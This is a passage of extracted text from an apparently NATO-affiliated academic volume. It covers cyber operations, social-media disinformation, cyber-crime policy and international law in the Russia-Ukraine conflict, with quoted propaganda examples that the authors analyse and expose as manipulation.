Dokunins group claims to have blocked more than 170 PayPal and other online accounts belonging to separatists, and frozen almost 3 million of their cash.
In one attack, they compromised net- worked printers in separatist regions, forcing them to spew out documents glorify- ing Ukraine, as well as the popular chant Putin is a dick, which is sung in football stadiums across Ukraine.42 Dokunin reserves some of his ire for the sitting govern- ment in Kyiv: The Ukrainian Government hasnt invested a cent in cyber warfare, even though this is also an information war.
6 Conclusion Communication analysis reveals that both Putin and Poroshenko have adopted similar rhetorical strategies good vs. evil and us vs. them in an effort to rally citizens around the flag.
They emphasise the righteous nature of their cause, their leadership in working toward a solution, and other countries approval of their political stances.
This is an exercise in national identity building, while portraying the adversary as illegitimate, dangerous, and even terrorist in nature.
To resolve the 39 Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, Office of the President of Ukraine, 22 September 2015, http://www.
president.gov.ua/en/news/vistup-prezidenta-ukrayini-poporoshenka-na-zasidanni-radi-na-36007.
40 Petro Poroshenko.
Speech by President of Ukraine Petro Poroshenko at the session of the National Security and Defense Council of Ukraine with participation of NATO Secretary General Jens Stoltenberg, 2015.
41 Vijai Maheshwari.
Ukraines Lonely Cyberwarrior vs. Russia, The Daily Beast, 18 February 2015, http://www.thedailybeast.
com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html.
42 Ibid.
situation, Russia has offered its services as an indispensable negotiator.
By con- trast, Ukraine has oriented its national strategy to the West and to NATO.
Russia has focussed on national interests, while Ukraine has appealed to the international community for understanding and support.
Even while Russia and Ukraine have been engaged in a modern, hot military conflict, its leaders have shed very little light on cyber warfare.
Russia has referred to it only in high-level, diplomatic terms.
Ukraine, despite the fact that it has suffered numerous cyber attacks, primarily frames the issue within the larger concept of hybrid warfare.
Neither country denies that cyberspace is now a theatre of warfare, or that it is part of the Ukrainian conflict, but neither has argued that cyberspace is an integral aspect of it.
And for the most part, this echoes the sentiments of other authors and chapters in this volume.
Russia has focussed on national interests, while Ukraine has appealed to the international community.
103 Strategic Communications and Social Media in the Russia Ukraine Conflict Elina Lange-Ionatamishvili Sanda Svetoka NATO Strategic Communications Centre of Excellence 1 Introduction The new information environment has changed the nature of warfare.
The events in south-east Ukraine have demonstrated that a conflict can be won without firing a single shot and some of the key battles can take place in the cyber and communi- cations domains rather than on the land, air and sea.
As Thomas Elkjer Nissen said in his recent book, the internet, cyber- space, and social media can be used to collect intelligence or even to target peo- ple and organisations.
Such tactics may be employed in isolation, but they are much more likely to be an integral part of a larger strategy.1 The operation for the take-over of Crimea was a particularly bold example of an influence operation where the traditional role of conventional forces was mini- 1 Thomas Elkjer Nissen.
TheWeaponizationOfSocialMedia.
Characteristics_of_ Contemporary_Conflicts.
Copenhagen: Royal Danish Defence College, 2015.
Chapter 12 Key battles can take place in the cyber and communica- tions domains rather than on the land, air and sea.
104 mised.
As the conflict continues to develop in the east of Ukraine, Russia continues to exploit the opportunities offered by new technologies and the new information environment.
It does so with the purpose of influencing the hearts and minds of its audiences: if Russia succeeds in mobilising its supporters, demonising its enemy, demoralising its enemys government and armed forces, and legitimising its own actions, then really there is no need for conventional fighting in order to subdue Ukraine.
In the modern-day operations cyberspace plays an increasingly important role.
A targeted attack by an adversary in the cyber environment is often understood as an attack on the computerised systems which help us run our daily lives and busi- nesses, sustain critical infrastructure and conduct financial transactions amongst other things.
As the former White House advisor Richard Clarke writes, a cyber-at- tack can mean that these vital systems go down and we see exploding oil refineries, derailing trains, runaway satellites, food shortages, and much more.2 But what we do not often realise is that we can be attacked in the cyber environment by an adver- sary presenting manipulative information to us with the intent to affect our percep- tion of the situation and our decision-making, and provoke some resulting action.
The real-life consequences of this soft cyber-attack can be as severe as an attack on a critical infrastructure.
2 Strategic Communications and Cyberspace Strategic Communications (StratCom) is a mind-set which implies placing commu- nications at the heart of a strategy.
It means that our activity is narrative-driven and we communicate it to different audiences through coordinated words, images and deeds.
Cyberspace plays an increasingly important role in StratCom as our depen- dency on modern technologies, computer networks and the internet grows day by day.
We use it for receiving and conveying information, for coordinating our actions and also for analysing the environment around us in order to detect and evaluate potential threats.
Cyberspace is often used in a conflict in order to take out the communications systems of an adversary.
However, the conflict in Ukraine has demonstrated that cyberspace can also play a role in conducting a narrative-driven operation where the main targets are not the machines or networks but the minds of the people.
The internet and social media, due to their ability to multiply information at high speed and at little cost, are increasingly used for propaganda, information war- fare, and influence operations, all of which can tangibly change both the perception and behaviour of the target audience.
It is a highly dynamic, user-driven, constantly changing environment where it is easy to get a message to go viral, and also difficult 2 Richard A. Clarke and Robert Knake.
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106 of social cyber attack becomes increasingly important as it is based on manipulated information being spread under false identities to networks of users.
4 Understanding Social Cyber Attacks A social cyber attack, as defined by Dr Rebecca Goolsby, involves acting under false pretences or anonymously, by either releasing a manipulated signal into the social media or by manipulating an existing signal in order to achieve the desired effects: chaos, panic, mass disorders.
This type of cyber attack offers a different view to the traditional views on attacks in the cyber environment, as the effects of these attacks are purely psychological.
Spreading rumours is one of the most effective tactics of the social cyber attack, as those can create fear, hate or unfounded hope in the target audience which will most likely result in real-life action: for example, mass protests, withdrawing money from banks, or organised attacks on certain groups or individuals whose image has been portrayed as the enemy.4 Social cyber attack can also involve traditional hacking if the information to be manipulated and released needs to be obtained or published this way.
Since the concept of the social cyber attack is very new, it is often difficult to determine what activity should be classified as one.
One might argue that the key component to social cyber attack is the narrative which drives it.
The actions by the pro-Russian Cyber Berkut () and its nemesis, the pro-Ukrainian Cyber Hundred () can serve as examples.
Cyber Berkut is frequently in the news, propagating the Russian political nar- rative as well as hacking both the Ukrainian Government and other countries.
The group successfully attacked and defaced the websites of the North Atlantic Treaty Organisation (NATO) and the NATO Cooperative Cyber Defence Centre of Excel- lence (NATO CCD COE), claiming that its activities were in retaliation for NATO support for Ukraine.5 However, the key to Cyber Berkuts activities is the narrative which it uses to justify and promote its activities.
Cyber Berkut claimed credit on its social networking site VKontakte page for hacking electronic advertising billboards in the centre of Kyiv prior to a Ukrainian parliamentary election on 24 October 2014, displaying videos of numerous prominent Ukrainian politicians and labelling them war criminals:2 [English translation] We Cyber Berkut intend to use every opportunity to defend the interests of Ukrainian citizens from the arbitrariness of nationalist 4 Ibid.
5 The post and video can be found here: http://vk.com/wall-67432779_14678 Spreading rumours is one of the most effective tactics of social cyber attack.
http://vk.com/wall-67432779_14678 107 fringe and the oligarchic elite Today, we have used a few dozen billboards in Kyiv, Ukraine to remind people about the futility of farcical elections We reiterate once again that no one will change our lives for us.
If the people will continue to hope that the authorities in the offices there are people concerned about the problems of ordinary citizens, Ukraine will be more immersed in the chaos of civil war.
The United States and the West first brought into the government people who are ready to sell our country to please their owners, and now want to put the same traitors in Parliament.
Today, everyone has to realise that his decision depends the future of our country, and the sooner we crack down on neo-Nazi government and deputies, who are just cashing in on this war, the sooner the countrys peace and order.
This narrative was also spread on social media networks.
Analysing this state- ment, one can identify clear attempts to construe enemy images of the Ukrainian Government and induce fear in the population by calling it neo-Nazi and threaten- ing chaos and civil war.
The hacking of the billboards had no other meaning than to conduct a social cyber attack by propagating this narrative and spreading rumours through manipulated information.
5 Social Media in the Russian-Ukrainian Conflict During the war in Ukraine, social media has become home to intense conflict-re- lated information updates, impassioned arguments, and debate.6 The social media space has been abused, and pro-Russian forces have given the world a masterclass.
At the beginning of the conflict, we saw strategic communications in action.
Over Twitter and YouTube, unknown attackers released an intercepted phone con- versation between the U.S. Assistant Secretary of State Victoria Nuland and Geof- frey Pyatt, the U.S.
Ambassador to Ukraine.7 In one stroke, the perpetrators sought to discredit Western policy and to announce their access to Western lines of gov- ernment communication.
Thus we saw both a technical exploit on an information system and a psychological attack on the West via social media.
During the course of the conflict, Russias narrative has been tightly scripted and disseminated, both on traditional media (in breaking and eyewitness accounts on television) and in cyberspace via social media.
These venues are mutually reinforcing, encompassing older and younger readers with varying degrees of access to technol- ogy.
For example, one can no longer watch Ukrainian television in eastern Ukraine similarly, Russian television channels are no longer available in western Ukraine.
6 See, for example, Irina Anilovskaja.
:
, Alfra Reklama, 2014.
7 Anne Gearan.
In recording of U.S. diplomat, blunt talk on Ukraine Washington Post, 6 February 2014, https://www.washing- tonpost.com/world/national-security/in-purported-recording-of-us-diplomat-blunt-talk-on-ukraine/2014/02/06/518240a4- 8f4b-11e3-84e1-27626c5ef5fb_story.html.
108 On social media, pro-Russian voices have systemically cultivated fear, anxiety, and hate among the ethnically Russian (and other non-Ukrainian populations) of Ukraine.
They have manipulated and distributed images of purported atrocities by the Ukrainian army, including: mass graves of tortured people, civilians used for organ trafficking, burning crops to create a famine, recruiting child soldiers, the use of heavy weapons against civilians, and acts of cannibalism.8 Via social media, such information whether offered with some evidence or merely in the form of rumours often criss-crosses the globe in minutes, and a well-organised social media campaign can easily influence a target populations per- ceptions and behaviours.
The Latvian media company LETA conducted an analysis of Twitter posts during the first six months of 2014, and identified an increasing polarisation between pro-Russian and pro-Ukrainian social media users as the conflict escalated, espe- cially following the violence in Odessa.9 The researchers wrote that 12.2 of all tweets related to the conflict in eastern Ukraine were aggressive, dominated by pro-Russian stances, most intense relative to human casualties, and included epi- thets such as fascist and ruscist.10 The conflict in Ukraine has seen numerous social media postings that appear to be deliberately disseminated in order to manipulate people in east- ern Ukraine and beyond.
During the May 2014 violence in Odessa, someone posted the following to Facebook: [English translation] Hello.
My name is Igor Rosovskiy.
I am 39 years old.
I live in the city of Odessa.
I have worked as an emergency physician for 15 years.
Yesterday, as you know, there was a terrible tragedy in our city, some people killed other people.
They killed them in a brutal way by burning them alive, not in a drunken stupor, not to get their grandmothers inher- itance, but because they share the political views of nationalists.
First they brutally beat their victims, then burned them alive.
As a doctor, I rushed to help those whom I could save, but the fighters stopped me.
They didnt let me go to the wounded.
One rudely pushed me, promising that I and other Jews would suffer a similar fate.
I saw a young man I could have saved if I could have taken him to the hospital, but my attempts at persuasion were met with a blow to the face and lost glasses.
In fifteen years I have seen much, but yesterday I wanted to cry, not from the blows and humiliation, 8 More information about the false information related to Russian Ukrainian can be found at StopFake.org, 21 August 2014, http://www.stopfake.org/en/russia-s-top-100-lies-about-ukraine/ 9 G.C.
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The Economist Eastern Approaches blog.
8 May 2014, http://www.econ- omist.com/blogs/easternapproaches/2014/05/odessas-fire-examined.
10 Ruscist is an invented word with offensive meaning, a combination of the words Russian and fascist.
Numerous social media postings appear to be dissem- inated in order to manipulate people in eastern Ukraine.
http://www.stopfake.org/en/russia-s-top-100-lies-about-ukraine/ 109 but from my helplessness in being unable to do anything.
In my city, such things did not happen even during the worst times of Nazi occupation.
I wonder why the world is silent.
The Russian-language social networking website Vkontakte saw more than 5,000 shares of this post within 24 hours, and it was quickly translated into English, Ger- man, and Bulgarian.
However, analysts subsequently discovered that Dr. Rozovs- kiys profile picture was actually that of a dentist from the North Caucasus, and now believe this social media post to be a hoax.11 On 4 June 2014, Pavel Astakhov, the Childrens Ombudsman under the President of the Russian Federation, announced on his Instagram account that more than 7,000 Ukrainian refugees had fled Ukraine and arrived in the Rostov Oblast in the previous 24 hours.
The next day, that number had risen to 8,386.
Russian mass media reported these numbers, but Rostov authorities apparently contradicted them, where the Gov- ernors office reported that the number of refugees did not exceed 712.12 In July 2014, 3-year-old boy was allegedly tortured and crucified by the Ukrainian military in a public square in Slovyansk, Ukraine.
The Russian state-run TV Channel One broadcast the eyewitness testimony of Galina Pyshnyak, who stated that she and others were forcibly brought to the central square to witness the public execution.
The interview took place at a refugee camp in Russias Rostov region and was widely dis- seminated on social media.13 However, Russian journalist Yevgeny Feldman of Novaya Gazeta, as well as journalists from Russias independent channel Dozhd, challenged the report with contradictory testimonies from multiple interviews in Slovyank, in which numerous residents denied any knowledge of the incident.14 Throughout 2014, the list of rumours from eastern Ukraine grew to be quite long: the Kyiv government and European Union were building concentration camps the forest was full of right-wing killers the May 9 Victory Day holiday had been cancelled15 property would be confiscated and use of the Russian language was prohibited.
On one occasion, terrified locals called the Donbas Water Company after social media informed them that the regions water supply had been poisoned.16 These stories can be contrasted with the Polite People campaign on Vkontakte, which supported the Russian invasion of Crimea with pictures of Russian troops posing alongside girls, mothers with children, the elderly, and pets.17 11 Odesa Doctor Or Random Dentist?
Claims Of Atrocities, Anti-Semitism Face Scrutiny, Radio Free Europe/Radio Liberty, 27 June 2015, http://www.rferl.org/content/ukraine-unspun-odesa-doctor-dentist-false-claim/25372684.html.
12 Rostov officials refuted information about thousands of Ukrainian refugees, StopFake.org, 6 June 2014, http://www.stopfake.
org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/.
13 , , , 12 July 2014, http://www.1tv.ru/news/world/262978.
14 , , (w/eng subs), 13 July 2014, https://www.youtube.com/watch?vUA1LE6iKMfk.
15 Lily Hyde, Rumors and disinformation push Donetsk residents into wartime siege mentality, Kyiv Post, 3 May 2014, http:// www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-men- tality-346131.html.
16 Ibid.
17 NATO Strategic Communications Centre of Excellence.
Analysis of Russias Information Campaign against Ukraine, 2014.
http://www.rferl.org/content/ukraine-unspun-odesa-doctor-dentist-false-claim/25372684.html http://www.stopfake.org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/ http://www.stopfake.org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/ http://www.1tv.ru/news/world/262978 https://www.youtube.com/watch?vua1le6ikmfk http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html 110 6 Troll Farming Who tweets in support of politics?
Who posts Facebook updates in support of military operations?
Of course, there are millions of true believers in the world, adherents to every cause under the sun.
However, it is also possible to fabricate support for anything, especially in cyberspace.
The social media offers great opportunities for state and non-state actors to use fake identities or automati- cally generated accounts to disseminate their narrative to audiences as widely as possible.
On 24 May 2014, hacked and leaked email correspondence (revealed on b0ltai.
org) allegedly from a company called the Internet Research Agency in St. Peters- burg, Russia, offered evidence of the existence of a professional troll farm, including the firms relationship to the Russian Government.
Media reports suggested that recruitment of employees had occurred prior to the onset of military operations, and that workers were tasked with writing 100 internet posts per day.18 For strategic communications, these developments are critical to understand- ing modern information operations including disinformation and PSYOPS, as a well-orchestrated social media campaign could significantly affect the prevailing political narrative.
It is possible to analyse the social media domain in an effort to separate fact from fiction, to investigate when accounts were created, whether they have credible content or a real networks of real friends, but to do this accurately and in a timely manner is an extraordinary challenge for anyone, including law enforcement and counterintelligence organisations.19 7 Conclusion The suspicious and seemingly targeted use of social media in the Russian-Ukrainian conflict offers considerable evidence that social media is being extensively used to support military actions on the ground.
To some degree, the information operations have generated fear, uncertainty, and doubt about the economic, cultural, and national security of Ukraine, especially in the eastern provinces where there are strong historical ties to Russia.
The goal of these social media operations may be to convince Ukrainians that the Euromaidan movement has led only to political chaos in the country, and has not been in Ukraines best long-term interests.
This message can be contrasted with 18 , .
, Novaya Gazeta, September 9, 2013, http://www.novayag- azeta.ru/politics/59889.html.
19 Kenneth Geers and Roelof Temmingh.
Virtual Plots, Real Revolution, The Virtual Battlefield: Perspectives on Cyber Warfare, ed.
Kenneth Geers and Christian Czosseck, 294-302 (Tallinn: NATO CCD COE, 2009).
Social media is extensively used to support military actions on the ground.
http://www.novayagazeta.ru/politics/59889.html http://www.novayagazeta.ru/politics/59889.html some examples of social media commentary from Crimea: that its incorporation into Russia has led to safety and stability on the Crimean peninsula.
The use of cyberspace both to attack the infrastructure and to influence peo- ples hearts and minds is a new phenomenon that has been increasingly used in recent conflicts to support military operations on the ground.
This kind of warfare will not disappear on the contrary the combination of actions which are targeted at infrastructure and human psychology will be used in more sophisticated and unpredictable ways in the future.
A three step approach could be recommended for security experts and national decision makers to prepare better to meet these kind of challenges: Identify.
Governments and defence organisations should enhance their capabilities to identify the detrimental use of social media.
Infor- mation campaigns which entail propaganda and automated or fake accounts to rapidly disseminate information should be closely mon- itored and analysed.
This also includes additional efforts in order to understand how these campaigns are organised and what effects they can have on public perception.
Challenge.
Examples by citizen journalists have shown that revealing false facts to the public is an effective approach in mitigating the effects of disinformation.
At the same time it is important not to engage in counter-propaganda as this fuels the information war and creates public distrust rather than diminishing the power of misinformation.
Humour perhaps could be more helpful in countering aggressive pro- paganda as it hampers the ability to achieve its aim subduing the society of the target country.
The initiatives in Twitter like Darth- PutinKGB or Sputnik_Intl are good examples of how to challenge Russias disinformation campaign with irony and jokes.
Learn and prepare.
The development of the unifying strategic nar- rative the story which entails the set of the values and beliefs of your country or organisation is the best defence against propaganda which questions them.
A long-term educational effort to enhance crit- ical thinking and media (including social media) literacy would also contribute greatly to societys self-defence against manipulation.
https://twitter.com/darthputinkgb https://twitter.com/darthputinkgb https://twitter.com/sputnik_intl 113 Ukraine: A Cyber Safe Haven?
Nadiya Kostyuk University of Michigan 1 Introduction Since the end of the Cold War, there has been a proliferation in online criminal activity in Eastern Europe, and Ukraine is no exception.
Famous for its hacker com- munity, Ukraine ranks among the Top 10 countries in the world in cyber crime1 and number 15 as a source of Distributed Denial of Service (DDoS) attacks.2 In 2012, five Ukrainian nationals stole more than 72 million from U.S. bank accounts3 in 2013, Ukrainian hackers stole 40 million sets of debit and credit card details from the US retail chain Target4 in 2014, the RAND Corporation wrote that Russian and Ukrainian (the primary language of Ukraine) were the lingua franca of online hacker forums.5 In this light, it is natural to wonder if Ukraine is today a safe haven for cyber criminals.
To be sure, there have been some law enforcement successes, such as when numerous European countries and Europol (with the aid of the Ukrainian govern- ment) arrested five hackers who stole at least 2 million from banks all around the world.6 However, there are major countervailing factors at play in Ukraine, which include ongoing political, military, and economic crises and the absence of zhyvoii 1 Victor Zhora, e-mail to the author, July 30, 2015.
2 DDoS-.
Minfin, June 8, 2015.http://minfin.com.
ua/2015/06/08/7407564/.
3 Taylor Armerding.
Ukraine Seen as a Growing haven for Hackers March 13, 2012.
http://www.csoonline.com/arti- cle/2131155/network-security/ukraine-seen-as-a-growing--haven-for-hackers-.html.
4 Charles Riley and Jose Pagliery.
Target Will Pay Hack Victims 10 Million.
CNNMoney.
March 19, 2015.
http://money.cnn.
com/2015/03/19/technology/security/target-data-hack-settlement/.
5 Lillian Ablon, Martin C. Libicki, and Andrea A. Golay.
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Inside the Ring: Cybercoms Michael Rogers Confirms Russia Conducted Cyberattacks against Ukraine.
Washing- ton Times, March 12, 2014.
http://www.washingtontimes.com/news/2014/mar/12/inside-the-ring-cybercoms-michael-rogers- confirms-/?pageall.
26 LookingGlass Cyber Threat Intelligence Group Links Russia to Cyber Espionage Campaign Targeting Ukrainian Government and Military Officials.
Looking Glass, April 29, 2015.
27 Tony Martin-Vegue.
Are We Witnessing a Cyber War between Russia and Ukraine?
Dont Blink You Might Miss It.
CSO Online, April 24, 2015.
http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-war- between-russia-and-ukraine-dont-blink-you-might-miss-it.html.
28 Primarily with DDoS attacks from supra, note 11.
29 For example, via Russias - , or System for Operative Investigative Activities, a technical system run by the Russian security services to search and surveil telephone and Internet communications.
Supra, note 11, page 2 Andrei Soldatov, Skype interview, July 15, 2015.
30 Online Panel Ukraine and Online Data Collection Ukraine DataDiggers Online Data Collection.
DataDiggers Online Data Collection.
July 27, 2015.
http://www.datadiggers.ro/?page_id75217.
While cyber crime has flourished in Ukraine, the same cannot be said for the development of Kyivs cyber security policy.
117 Victor Zhora, CEO and Co-Founder at Infosafe IT LLC, contends that a major problem with existing Ukrainian legislation is the lack of a clear definition for cyber crime.
The only operational definition is in Article 361 of the Criminal Codex of Ukraine: Illegal interference with the operation of computers (PCs), automated systems, computer networks or telecommunications networks.31 However, it is not clear what illegal interference actually means.
Recently, lawmakers have considered new legislation the Cybersecurity Law of Ukraine which seeks to: update existing laws create conditions for cooperation between the private and publics sectors protect critical information infrastructure develop a com- prehensive legal framework build a secure national security network educate future specialists fight cyber crime and cyber terrorism strengthen the states defence in cyber- space prevent other states from interfering in Ukraines internal affairs neutralise attacks on Ukraines information resources and ensure Ukraines full participation in European and regional cybersecurity organisations.
32 However, such a comprehensive agenda faces numerous acute challenges before it can be properly implemented.33 For example, the strategy of creating a secure national segment of cyberspace lacks a working definition of critical national infrastructure (CNI), as well as a valid list of CNI.
At this stage in Ukraines economic development, there is little CNI with internet-based management, but that number is beginning to rise.34 Another example is ensuring full participation of Ukraine in European and regional systems.
Although Ukrainian cyber security experts already share information and intelligence with Western colleagues, this collaboration is not nearly as effective as it could be, because the West does not yet respect [them] and do not share information with [them].35 It is debatable, given the ongoing war in eastern Ukraine, how urgent this process is, especially given that all countries are cur- rently struggling to protect CNI.
Even if adopted, the draft Cybersecurity Law of Ukraine will take years to fully implement.36 Therefore, for the foreseeable future, Ukrainian CNI such as telecoms,37 banks,38 and insurance companies39 will rely on reasonably sound private sector approaches to their cyber security challenges.40 31 i - (), , supra, note 1.
32 Supra, note 11, figure 1-1.
33 Some of those challenges were mentioned earlier.
34 Ukraines CNI objects are not controlled via the Internet, as mentioned in the skype interview with Vlad Styran on July 6, 2015 (Supra, note 7).
35 Supra, note 14.
36 Its implementation has three stages: 1) 2014-2016 2) 2016-2017 and 3) 2017 the following years.
37 Telecom operators are mostly protected as a huge portion of the population uses these services.
They do no necessarily suffer from cyber attacks but they suffer from their clients abuse of the system.
From supra, note 7.
38 Banks are in second place in terms of protection and in first place in terms of damage..
It is quite a new trend in Ukraine as banks mostly operate using their clients money.
Last year, we witnessed the first cyber attacks on Ukrainian banks.
From supra, note 7.
39 Insurance companies take the third place on the level of protection.
They are active in protecting their companies from cyber attacks not because they are subjects to those attacks, but mostly because they are part of some international group, which requires them to follow the EU or U.S. requirements or because they need to create their image.
Supra, note 7.
40 Ibid.
For the foreseeable future, Ukrainian CNI will rely on reasonably sound pri- vate sector approaches.
118 5 Cybersecurity Organisations Figure 1-1 depicts Ukraines governmental organisations that deal with cyber crime: the Security Service of Ukraine (SBU) the State Service of Special Commu- nication and Information Protection of Ukraine (SSSCIP) the Ministry of Interna- tional Affairs of Ukraine (MVS) with its Department on Combating Cybercrimes the Ministry of Defence of Ukraine (MO) with its Electronic Warfare Troops the Defence Intelligence Service and the Foreign Intelligence Service.41 These agen- cies, of course, have different domains and priorities, and they rarely collaborate on common problems.42 For example, MVD cyber units have a difficult time working with the SBU, which does not focus on external affairs, a crucial element in locat- ing international hackers.43 Glib Pakharenko, the ISACA Kyiv Chapter membership director, said: When NATO meets with various cyber forces in Ukraine, they only observe how these forces fight with each other and blame each other for failures.44 SSSCIP is the only organisation that works exclusively on cyber security issues.
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Securit13 Podcast : 30: Let the Magic Begin.
March 20, 2015.
http://securit13.libsyn.com/-30-let-the- magic-begin.
52 Supra, note 7.
53 Roofing means that the law enforcement agencies do not pay attention to criminals misbehavior in exchange for favors.
54 Supra, note 14.
55 Ibid.
56 Olha Karpenko.
IT.
AIN, June 18, 2015.
http://ain.ua/2015/06/18/586897.
57 Supra, note 11.
58 , .
IiI, June 25, 2015.
http://biz.liga.net/all/it/stati/3046442-deputaty-doshli-do-inter- neta-est-zakonoproekt-o-kibeprostranstve.htm.
59 Supra, note 7.
CERT-UAs bigger prob- lem is the countrys almost exclusive focus on fighting Russian aggres- sion in eastern Ukraine.
120 6 Recommendations The following best practices could significantly strengthen Ukraines cyber security posture for the future.
6.1 National Metrics.
Analysts believe that cyber crime is rife in Ukraine, but there are no accurate measurements or reliable studies that have docu- mented this problem.
Some Western60 and Ukrainian companies61 are now addressing this issue, but without better data and analysis, it is hard to separate fact from fiction.
Prevention.
Until Ukraine invests more in proactive cyber defence, it will remain in a reactive mode vis--vis cyber criminals, a serious problem in the age of light-speed communications.
60 Such as RAND.
61 Supra, note 14.
Figure 1-2 Proposed organisation of Ukraines system for cyber security Verkhovna Rada of Ukraine Council of National Security and Defense The President of Ukraine Security Service of Ukraine SSSCIP of Ukraine Ministry of Internal Affairs of Ukraine The Ministry of Defense of Ukraine State Agency of Cybersecurity The General Staff of the Armed Forces of Ukraine Interagency Board on countering cyber threats The Prime Minister of Ukraine 121 Corruption.
Ukraine must address bribes, protection,62 and the uneth- ical recruitment of hackers.
In one infamous case, a fraudulent cyber crime call centre, which in fact was used to steal credit card informa- tion, actually operated from a Ukrainian prison.63 Culture.
Ukraine must promote cyber crime awareness and enforce existing law.
Ukrainian citizens must recognise that stealing money from the West is against the law, and they must be willing to report such crimes to law enforcement.64 Education.
Kyiv must invest in the academic side of cyber security, to include software engineering, critical infrastructure protection, and more.65 Some steps have already been taken, including the creation of kiberpolitseiski (cyber police) departments at the Kyiv and Kharkiv MVD Institutes66 further, the MVD has collaborated with various departments of the Kyiv Polytechnic Institute (KPI).
The Science Park of the KPI promotes science-intensive products on domestic and for- eign markets that provide better cybersecurity solutions.
67,68 Civil Society.
The Ukrainian Government requires pressure from below to assist in the implementation of so many needed changes.
Even from abroad, the Ukrainian diaspora can help.
Oversight.
Ukrainian lawmakers often receive foreign assistance to help the country adopt and implement reform, but currently there is no effective oversight body helping to manage this process.69 Public sector labour force.
The Ukrainian government must find a way to hire qualified cyber security professionals and retain them with quality training and attractive salaries.
It must be said that this chal- lenge is not unique to Ukraine.70 6.2 Regional and International Collaboration.
Ukrainian cyber security institutions must develop a higher level of trust with their international counterparts, especially in the West.
This begins with practical cooperation on current high-inter- est criminal cases, to include resource and information sharing.
In the past, such collaboration has not always been effective, and sometimes never occurred at all.71 Points of departure include Mutual Legal Assis- 62 Ibid.
63 Supra, note 7.
64 These two measures will be discussed later.
65 So far, eighteen universities carry out training specialists in information security on bachelors and masters levels in Ukraine.
From: Standards of higher education 1701 Information Security, accessed on July 21, 2015, http://iszzi.kpi.ua/index.php/ua/ biblioteka/normativno-pravova-baza/nmk-informatsijna-bezpeka.html .
66 Supra, note 50.
67 Ibid.
68 Science Park Kyivska Polytechnika.
Accessed September 1, 2015.
69 Supra, note 7.
70 Supra, note 14.
71 Ibid.
tance Treaties (MLAT) and the European Convention on Cybercrime which Ukraine ratified in 2005.
Western Assistance.
Most of the digital equipment in Ukraine was manufactured in Russia, so there is an urgent need for EU and NATO nations to assist Ukraine in replacing it.
Some concrete steps have already been taken: NATO has allocated funds for Ukraines cyber defences, command and control structures, and logistics capabilities72 Microsoft announced a partnership with the Ukrainian Govern- ment on cyber security73 U.S.
Senators Mark Kirk and Mark Warner announced a bipartisan amendment creating a law enforcement part- nership between the United States and Ukraine to combat cybercrime and improve cybersecurity74 and Romania launched an initiative to support the Ukraine Cyber Defence Trust Fund.75 Cyber security strategy.
Ukraine must harmonise its cyber security pol- icies and legislation with those of the most technologically advanced members of the international community.
The European Network and Information Security Agency (ENISA) has a strong record of provid- ing guidance in cyber security policy development and best practices Ukraine should take full advantage of this resource.
7 Conclusion Ukraine, with its talented hackers and minimal cyber security regulations, is a per- fect case study to examine the many challenges that Eastern European countries face as they seek to improve their cyber secu- rity posture.
Ukraine has more than enough STEM expertise, but it must be refocused and repurposed toward a more transparent and accountable legal and cultural online envi- ronment.
The development of Ukrainian civil society can accomplish all of these objectives, but the international community including the Ukrainian diaspora can help Kyiv to realise them much more quickly.
Unfortunately, however, Ukraines current political, economic, and military crises are likely to prevent it from climbing down the worlds cyber crime ladder in the near term.
72 Andrew Rettman.
Mr. Putin Isnt Done in East Ukraine.
EUObserver, June 26, 2015.
https://euobserver.com/defence/129317.
73 Ukrainian Government Partners with Microsoft on Cyber Security.
Ukrainian Digital News, April 7, 2015.
http://uadn.
net/2015/04/07/ukrainian-government-partners-with-microsoft-on-cyber-security/.
74 Kirk, Warner to Introduce Cybersecurity Amendment to Ukrainian Aid Bill on Monday.
Kirk Senate.
March 23, 2014.
http:// www.kirk.senate.gov/?ppress_releaseid1033.
75 Romania Turns Hacking Crisis into Advantage, Helping Ukraine Fight Russian Cyber Espionage.
Azerbaijan State News Agen- cy, May 18, 2015.
http://azertag.az/en/xeber/Romania_turns_hacking_crisis_into_advantage_helping_Ukraine_fight_Rus- sian_cyber_espionage-855844.
Ukraine has more than enough STEM expertise, but it must be refocused and repurposed.
123 A Legal Framework for Cyber Operations in Ukraine Jan Stinissen NATO CCD COE 1 Introduction Do the cyber attacks that we have seen during the Ukraine conflict constitute cyber- war?
This chapter considers this question from a legal perspective.
The term cyber- war has no precise legal meaning.
Even the term war is less important than it used to be.
Contemporary international law distinguishes armed conflict, armed attack, and use of force, but the question is how to place cyber conflict into that frame- work.
In Ukraine, are we seeing cyber armed conflict or merely cyber crime?
Cyber operations have to be considered within the context of the whole conflict.
Although cyber can be used as stand-alone operation, the more likely case and this holds true in Ukraine is that cyber is used as a facilitator for other, more traditional types of warfare.
The law applicable to the conflict as a whole should be applied to the cyber activities that are part of it.
In other words, the wider con- text determines the legal framework for cyber operations.
Particularly relevant is whether the conflict in Ukraine is an armed conflict that leads to the application of the Law of Armed Conflict (or international humanitarian law).
This chapter will first briefly outline the applicability of international law to cyberspace.
Then it will describe the legal framework of the conflict, related to the subsequent phases of the conflict, from the protests at Maidan Square in November 2013 to the present day.
After that, the associated cyber activities will be placed in this legal context.
Chapter 14 124 2 International Law and Cyber Operations The applicability of international law to cyberspace has long been debated.
Most Western countries posit that existing international law applies.
Some countries, such as China and Russia, have proposed a unique and separate set of norms.1 Today, it is generally recognised that international law applies, which is illustrated by the 2013 report of the Governmental Group of Experts, established by the United Nations (UN) General Assembly.
